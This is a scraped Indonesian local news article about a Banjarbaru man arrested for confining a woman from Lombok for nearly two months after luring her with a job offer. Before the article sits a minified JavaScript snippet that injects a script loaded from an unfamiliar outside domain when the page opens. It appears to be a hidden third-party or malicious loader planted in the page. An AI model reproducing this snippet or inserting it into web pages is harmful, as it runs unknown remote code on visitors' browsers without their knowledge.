(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Suranto warga Kelurahan Sungai Besar, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, harus berhadapan dengan hukum karena diduga merampas kemerdekaan orang lain.
Lelaki berusia 53 tahun ini diringkus kepolisian dengan sejumlah barang bukti karena menyekap seorang berinisial SU (46) selama kurang lebih dua bulan.
Kapolsek Banjarbaru Utara, Kompol Heru Setiawan mengungkapkan, kejadian ini terjadi pada hari Senin (13/11/2024) lalu, di sebuah rumah di Jalan Intan Sari RT 020 RW 004 Kelurahan Sungai Besar.
Baca juga: BNPB Modifikasi Cuaca di Kalsel, Potensi Hujan Diarahkan Turun ke Laut
Sebelumnya, pada 8 November 2024, tersangka Suranto menghubungi SU yang berasal deri Lombok, Nusa Tenggara Barat untuk berkenalan melalui sosial media Facebook.
“Tersangka menanayakan kepada korban orang mana, aslinya orang mana, serta pekerjaan korban, kemudian Suranto dan korban berkomunikasi berlanjut ke Whatsapp,” ujar Kapolsek Banjarbaru Utara, Kompol Heru Setiawan dalam keterangan yang diterima, Kamis (30/1/2025) siang.
Kapolsek Banjarbaru Utara mengatakan, korban ditawarkan oleh Suranto sebuah pekerjaan apabila mau ke Kalimantan. SN pun tergiur dan berangkat ke Kota Banjarbaru pada 13 November 2024.
Sesampainya di Banjarbaru, disebutkannya bahwa korban disuruh menurut apa kata tersangka, dengan ancaman apabila korban tidak menuruti perkataan tersangka maka korban akan di tebas lehernya menggunakan parang.
Baca juga: Pulau Sampah di Bawah Jembatan Pasar Lama Banjarmasin
“Tersangka juga mengancam untuk menyantet dengan memasukan paku kedalam perut korban,” sebut dia.
Tak hanya sampai di situ, korban kemudian disuruh dan ditekan oleh terlapor untuk mencari dana pinjaman Rp3 Juta dan Rp1,5 Juta dengan dalil ingin berangkat ke Jakarta mengambil gaji.
“Namun korban mengatakan tidak ada lagi mempunyai uang, sementara tersangka terus memaksa korban untuk mencari pinajaman,” ceritanya.
Berlanjut pada 10 Januari 2025 sekitar pukul 15.00 Wita, Suranto kedatangan tamu bernama Andi. Sementara itu korban disuruh tersangka untuk masuk ke dalam kamar agar tidak ketahuan orang lain.
Baca juga: Habis Terbakar, MTs Byna Taqwa Mantuil Numpang ke SD
“Di dalam kamar korban menulis nomor teleponnya di kertas dan memberikannya kepada Andi tanpa sepengetahuan tersangka,” sambung dia.
“Keesokan paginya mereka berkomunikasi dimana Andi menayakan kepada pelapor ada apa, kemudian pelapor menceritakan kejadian tersebut hingga bisa melaporkannya ke Polsek Banjarbaru Utara,” jelasnya.
Petugas sempat mengetuk pintu rumah tersebut, namun tidak dibuka oleh tersangka maupun korban.
Petugas sempat mendobrak paksa pintu rumah hingga petugas masuk dan berhasil mengamankan tersangka.
Baca juga: Temuan Jasad Siswi SMP di Syamsudin Noor, Sang Kakak Dengar Suara Tangisan Sambil Tertawa
“Tersangka beserta barang bukti diamankan di Polsek Banjarbaru Utara untuk pemeriksaan. Dimana dalam pemeriksaan tersangka mengaku mmenyekap korban selama hampir dua bulan,” ungkap Kapolsek.
Atas kejadian ini, Suranto disangkakan pasal tindak pidana perampasan kemerdekaan orang lain secara melawan hukum (penyekapan) junto tindak pidana penipuan sebagaima dimaksud dalam pasal 333 KUHPidana junto 378 KUHPidana ancaman hukuman 8 tahun penjara. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More
Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More
KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More
This website uses cookies.